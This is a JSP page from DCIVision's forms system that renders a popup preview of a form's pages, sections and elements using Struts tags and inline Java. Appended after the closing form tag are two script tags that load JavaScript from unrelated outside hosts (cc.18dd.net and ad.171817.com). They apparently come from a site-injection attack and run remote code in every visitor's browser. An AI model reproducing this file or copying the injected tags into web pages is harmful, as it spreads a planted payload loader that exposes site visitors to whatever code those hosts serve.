<%
/*
 * @(#)PreviewFormSectionELement.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  PreviewFormSectionELement.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.9.2.10 $
*/
%>

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>

<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSectionForm" scope="request" class="com.dcivision.form.web.MaintFormSectionForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormAttachment.jsp" charset="UTF-8" type="text/javascript"></script>

<html:form action="form/MaintFormSectionFormElement" styleClass="form-style-2">
<html:javascript formName="maintFormSectionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
 
 <%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String PRE_PAGE_HEAD_DIV = "PAGE_HEAD_DIV_";
   String PRE_PAGE_CONTENT_DIV = "PAGE_CONTENT_DIV_";
   String PRE_ADD_PAGE_CONTENT = "ADD_PAGE_CONTENT_";
   String functionType="common.label.form_action_preview";
   String sCurFunctionCode = SystemFunctionConstant.FORM_SETUP; 
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE); 
   int pageListSize =0;
   List formPageList = (List)request.getAttribute("formPageList");
   if (request.getAttribute("formPageList")!=null) {
     pageListSize = formPageList.size();
   }
  
   String allPageIDStr = "",formPageID = "";
   Integer sectionID = new Integer(0);
   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   FormSubmissionManager formSubmissionManager =  new FormSubmissionManager(sessionContainer,conn);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>


<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<html:hidden property='formRecordID'/>

<layout:popupTitle titleKey ="common.label.form_action_preview" secondKey="form.label.form"/>
<div id="contentDiv" class="tabContent" style="height:530px;"> 
<table id="contentTable" width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- begin table 1 -->
<table cellpadding="0" cellspacing='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?5 :20%>' border="0" width='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?"780" :"100%"%>'>
  <tr>
    <td>
<!-- begin table 2 -->
      <table cellpadding="0" cellspacing="0" border="0" width="100%">
        <tr>
          <td>
  <!-- ==================================== Superpose Page Head Begin ======================================= -->
          <jsp:include page="IncludeFormTab.jsp"> 
           <jsp:param name="prefixPageHeadDiv" value="<%=PRE_PAGE_HEAD_DIV%>"/>  
           <jsp:param name="prefixPageContentDiv" value="<%=PRE_PAGE_CONTENT_DIV%>"/> 
           <jsp:param name="isPreview" value="true"/>   
           <jsp:param name="opMode" value="<%=!Utility.isEmpty(maintFormSectionForm.getOpMode())%>"/>   
           <jsp:param name="formRecordID" value="<%=maintFormSectionForm.getFormRecordID()%>"/>      
           <jsp:param name="workflowStepID" value="0"/>          
          </jsp:include>
  <!-- =================== Superpose Page Head End ==================== -->
          </td>
        </tr>
        <tr>
          <td>
<!-- begin table 3 -->
            <table bgcolor="#999999" width="100%" height="100%" cellpadding="0" cellspacing="1"><tr><td bgcolor="#FFFFFF">
            <!-- ===============================begin table for display page,section,element============================= -->
   
            <table width="100%" cellpadding="0" cellspacing="0" border="0" >
              <tr>
                <td colspan="2">
            <%
             Object[][] pageElementArray = maintFormSectionForm.getPageElementArray();  
             for (int nn = 0; nn < pageListSize ; nn++){
               int formObjectSize = 0;

               FormPage formPage =(FormPage)formPageList.get(nn);  
               formPageID = formPage.getID().toString();
               allPageIDStr += formPageID + ",";
               List formObjectList = null;
               formObjectList = (List)pageElementArray[nn][0];
               formObjectSize = formObjectList.size();
             %>             
  
<!-- ************************************** Start of Form Border ********************************** -->

<!--######################################## Page Table Begin ############################################### -->
                <span id="<%=PRE_PAGE_HEAD_DIV + formPage.getID().toString()%>">
                  <table border=0 cellspacing="0" cellpadding="0" width="100%">
                    <tr align="left">
                      <td valign="top" width="100%"></td>
                    </tr>  
<!-- ************************************** Start of Form Content ********************************** -->
                    <tr>
                      <td align="center">&nbsp;</td>
                    </tr>
                  </table>
                </span>   
<!-- ==================================== Page Head Table End   ===================================== -->    
                <span id="<%=PRE_PAGE_CONTENT_DIV + formPage.getID().toString()%>">        
<!--  ########################################### Section Table Begin ######################################## -->  
<!-- ============================================ Section Head Table Begin =================================== -->   
                <%

                for (int i=0; i<formObjectSize; i++){
                  if (formObjectList.get(i) instanceof FormSection){
                    FormSection tmpFormSection = (FormSection)formObjectList.get(i);                 	
    	            sectionID = tmpFormSection.getID();
                %>
                
                  <%if (i!=0){ %>
                  
                  </table>
                  <% } %>
                  <table width="100%" border="0"><!-- Section table -->
                    <tr>
                      <td align="<%if (tmpFormSection.getsectionPosition()!=null){
                                     if ("C".equals(tmpFormSection.getsectionPosition()))out.print("center");
                                     if ("L".equals(tmpFormSection.getsectionPosition()))out.print("left");
                                     if ("R".equals(tmpFormSection.getsectionPosition()))out.print("right");
                                 }%>">
                        <font style='<% String tmpFontStyle="";
                                        if (tmpFormSection.getsectionFontStyle()!=null){
                                          for (int k=0; !Utility.isEmpty(tmpFormSection.getsectionFontStyle()) && k < tmpFormSection.getsectionFontStyle().length(); k++){
                                            if ("B".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                            	tmpFontStyle += "font-weight: bold;";
                                            }else if ("U".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                            	tmpFontStyle += "text-decoration: underline;";
                                            }else if ("I".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
                                            	tmpFontStyle += "font-style: italic;";
                                            }
                                          }
                                        }out.print(tmpFontStyle);
                                        if(TextUtility.parseInteger(tmpFormSection.getsectionFontSize())>0) {
                                          out.print("font-size:"+tmpFormSection.getsectionFontSize()+"pt;"); 
                                        }
                                        if (!Utility.isEmpty(tmpFormSection.getsectionFontType())) {
                                          out.print("font-family:"+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+tmpFormSection.getsectionFontType())+";");
                                        }%>color:<%=tmpFormSection.getsectionFontColor()%>;' ><%=tmpFormSection.getTitle()%>
                        </font>                        
                      </td>
                    </tr>
                    <tr>
                      <td align="center" bgcolor="black" colspan=1><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>             
                    </tr>
                  </table>
                  <table width="100%" border="0" cellpadding="0" cellspacing="0"><!-- Element table -->
<!-- ====================================== Section Head Table End   ======================================== -->    

<!--  ###################################### Element Table Begin ############################################ -->
              <% } else {      
    	          
    	          // int elementSeq=1;
                  int colIndex=0;    
                  if (formObjectList.get(i)!=null) {
                    FormElement tmpFormElement = (FormElement) formObjectList.get(i);    
                    String elementAlign = "left";
                    Integer fontSize;
                    String fontColor = "";
                    String fontStyle = "";
                    String labelPosition = "";
                    String fontType = "";
                    String preFontStyle = "<font ";        //Prefix  FontStyle
                    String posFontStyle = "</font>";       //Postfix FontStyle
                    String nextFontStyle = "";
                    String leftPosition = "";
                    String topPosition = "";
                    fontSize = tmpFormElement.getFontSize();
                    fontColor = tmpFormElement.getFontColor();
                    fontStyle = tmpFormElement.getFontStyle();
                    fontType = tmpFormElement.getFontType();
                    labelPosition = tmpFormElement.getLabelPosition();
      
                    if(!Utility.isEmpty(fontStyle) || !Utility.isEmpty(fontSize) || !Utility.isEmpty(fontColor) || !Utility.isEmpty(fontType)){
                      preFontStyle += " style='";
                    }

                    //handel Font Style
                    if (!Utility.isEmpty(fontStyle)) {
                      //preFontStyle += " style='";
                      for (int k=0; k < fontStyle.length(); k++) {
                        if ("B".equals(fontStyle.substring(k,k+1))) {
                          preFontStyle += "font-weight: bold;";
                        } else if ("U".equals(fontStyle.substring(k,k+1))) {
                          preFontStyle += "text-decoration: underline;";
                        } else if ("I".equals(fontStyle.substring(k,k+1))) {
                          preFontStyle += "font-style: italic;";
                        }
                      }
                    }

                    if (!Utility.isEmpty(fontSize)) {
                      preFontStyle += " font-size:" + fontSize+"pt;";
                    }
                    if (!Utility.isEmpty(fontColor)) {
                      preFontStyle += " color:" + fontColor+";";
                    }
                    if (!Utility.isEmpty(fontType)) {
                      preFontStyle += " font-family:" +
                      MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+fontType) +";";
                    }
                    if(preFontStyle.indexOf("'") >-1) {
                      preFontStyle += "'";
                    }
                    preFontStyle += ">";
                    if (preFontStyle.length() < 10) { // if not set the FontStyle of the element
                      preFontStyle = "";
                      posFontStyle = "";
                    }
      
                    //handel the position
                    if (!Utility.isEmpty(labelPosition)) {
                      if (tmpFormElement.isLeftLabelPosition(labelPosition)) {
                        elementAlign = "left";
                        leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
                      } else if (tmpFormElement.isCenterLabelPosition(labelPosition)) {
                        elementAlign = "center";
                        leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
                      } else if (tmpFormElement.isRightLabelPosition(labelPosition)) {
                        elementAlign = "right";
                        leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
                      } else if (tmpFormElement.isTopLabelPosition(labelPosition)) {
                        topPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "<br>";
                      } else if (tmpFormElement.isHiddenLabelPosition(labelPosition)){        
                        leftPosition = "";
                        topPosition = "";
                      }
                    } else {
                      leftPosition = preFontStyle + tmpFormElement.getFieldName() + posFontStyle + "";
                    }
                    
                    colIndex=1;
                    out.println("<tr><td><table width='100%' border='0' cellpadding='1' cellspacing='1'><tr>");
                    
      
                    List attachmentList = new ArrayList();        
                    FormAttachDAObject      formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
                    FormAttach      formAttach=null;
                    if (formAttachDAO.getObjectByID(tmpFormElement.getID())!=null) {
                      formAttach = (FormAttach)formAttachDAO.getObjectByID(tmpFormElement.getID());
                    }

                    SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
                    formSubmissionManager.createElementTD(pageContext,tmpFormElement,formAttach,request,out,"",attachmentList,(AbstractActionForm)maintFormSectionForm,new Integer(formPageID),sectionID,false,true,true,sysFunction,"",false,null);
                    out.println("</tr></table></td></tr>");
                  }
                  
%>
                  
<!--  ########################### Element Table End ########################### --> 
    <%}%> 
    
  <!--  ########################### Section Repeat End ########################### --> 
  <%} // end for() %>
  
  </table>
  <!--  ########################### Section Table End ########################### -->  
  
  <!--  ########################### Page Table End ########################### -->  
  </span>
<%}%>

                </td>
              </tr>
              <tr>
                <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
              </tr>
            </table> <!--end table for display page,section,element  -->
          </td>
        </tr>
      </table>
  <!-- end table 3 -->
  
    </td>
  </tr>
</table>
 <!-- end table 2 -->          
                  
   </td>
 </tr>                       
</table>
 <!-- end table 1 -->
 
  </td>
 </tr>
</table>
</div>

<script language='javascript'>
<!--
adjustContentHeight();

function adjustContentHeight(){
  var targetHeight='300'; 
  if(document.getElementById('contentTable')){ 
    if(document.getElementById("contentDiv")){
	  targetHeight=document.getElementById('contentTable').offsetHeight;
	  if(targetHeight>530){
	    document.getElementById("contentDiv").style.height = targetHeight+"px";
      }
    }
  }
}
-->
</script>

<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
  </div>
</div>
<script language='javascript'>
<!--
<%
String[] showPageIDArray = TextUtility.splitString(allPageIDStr,",");
if (!Utility.isEmpty(showPageIDArray) && !"null".equals(showPageIDArray) && showPageIDArray.length>=1){%>
showFormTab(<%=showPageIDArray[0]%>);
<%}%>
-->
</script>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>